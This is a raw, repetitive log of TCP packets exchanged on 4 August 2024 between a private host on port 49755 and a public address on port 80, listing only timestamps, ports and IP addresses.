Aug 4, 2024 10:57:38.627974987 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628007889 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628041029 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628042936 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628077030 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628110886 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628138065 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628146887 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628181934 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628215075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628216028 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628252983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628287077 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628300905 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628300905 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628320932 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628353119 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628386021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628392935 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628418922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628499031 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628560066 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628592968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628624916 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628659010 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628673077 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628673077 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628690958 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628725052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628756046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628773928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628791094 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628828049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628848076 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628860950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628895044 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628927946 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628954887 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628956079 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.628961086 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.628995895 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.629029989 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.629059076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.629074097 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.629074097 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.670850039 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979130983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979242086 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979290962 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979326010 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979377031 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979376078 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979410887 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979413033 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979466915 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979501009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979510069 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979533911 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979568005 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979581118 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979609013 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979619980 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979655027 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979686975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979696035 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979722023 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979758024 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979770899 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979794025 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979829073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979841948 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979863882 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979902029 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979907990 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.979959965 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.979991913 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980010033 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980027914 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980062008 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980077028 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980096102 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980129004 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980143070 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980163097 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980200052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980211020 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980356932 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980390072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980407000 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980424881 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980458975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980473042 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980532885 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980568886 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980581045 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980621099 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980653048 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980667114 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980685949 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980730057 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980739117 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980773926 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980807066 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980818987 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980844021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980890036 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980899096 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980933905 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.980978012 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.980984926 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981024027 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981055975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981072903 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981091976 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981125116 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981139898 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981158018 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981192112 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981209040 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981225014 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981256962 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981270075 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981292009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981328011 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981338978 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981362104 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981398106 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981409073 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981435061 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981467009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981499910 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981530905 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981532097 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981544018 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981566906 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981601000 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981615067 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981636047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981671095 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981683016 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981704950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981736898 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981745958 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.981775045 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981812954 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.981822014 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982001066 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982033968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982053041 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982068062 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982100010 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982115030 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982153893 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982186079 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982201099 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982220888 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982253075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982266903 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982286930 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982321024 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982332945 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982355118 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982388020 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982403040 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982423067 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982455969 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982465982 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982490063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982523918 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982539892 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982559919 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982592106 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982603073 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982629061 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982675076 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982778072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982810974 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982852936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982861042 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982896090 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982928991 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982937098 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.982964039 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.982997894 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983016968 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983031034 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983066082 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983074903 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983098984 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983131886 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983144999 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983165979 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983200073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983232021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983232975 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983268023 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983294010 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983300924 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983334064 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983366966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983381987 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983402014 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983407021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:38.983438015 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:38.983489990 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290389061 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290436983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290493011 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290493965 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290535927 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290581942 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290594101 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290631056 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290667057 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290677071 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290720940 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290759087 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290774107 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290796041 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290832996 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290853024 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290885925 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290924072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.290932894 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.290981054 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291033030 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291034937 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291068077 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291105032 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291131973 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291141033 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291182041 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291186094 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291217089 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291268110 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291279078 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291302919 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291342020 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291349888 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291434050 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291470051 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291481972 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291503906 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291541100 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291559935 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291574955 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291610003 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291620970 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291646004 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291680098 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291697979 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291713953 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291748047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291757107 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291785002 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291819096 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291857004 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291872025 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291892052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291897058 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.291932106 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.291985989 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292047977 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292083979 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292118073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292151928 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292169094 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292187929 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292200089 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292222977 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292259932 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292293072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292299986 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292329073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292362928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292362928 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292397976 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292433977 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292442083 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292468071 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292500019 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292540073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292574883 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292598963 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292612076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292644978 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292665958 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292679071 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292714119 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292721033 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292833090 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292882919 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292886019 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292921066 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292954922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.292984962 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.292989016 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293024063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293042898 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293061018 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293095112 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293128967 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293139935 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293162107 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293191910 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293200016 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293236017 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293266058 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293271065 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293292046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293308973 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293339968 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293344021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293365955 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293384075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293420076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293431044 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293454885 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293490887 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293503046 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293524981 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293559074 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293580055 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293776035 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293828011 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293831110 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293868065 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293900967 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293915987 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.293936968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.293972969 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294006109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294019938 CEST	49755	80	192.168.2.7	27.221.16.179
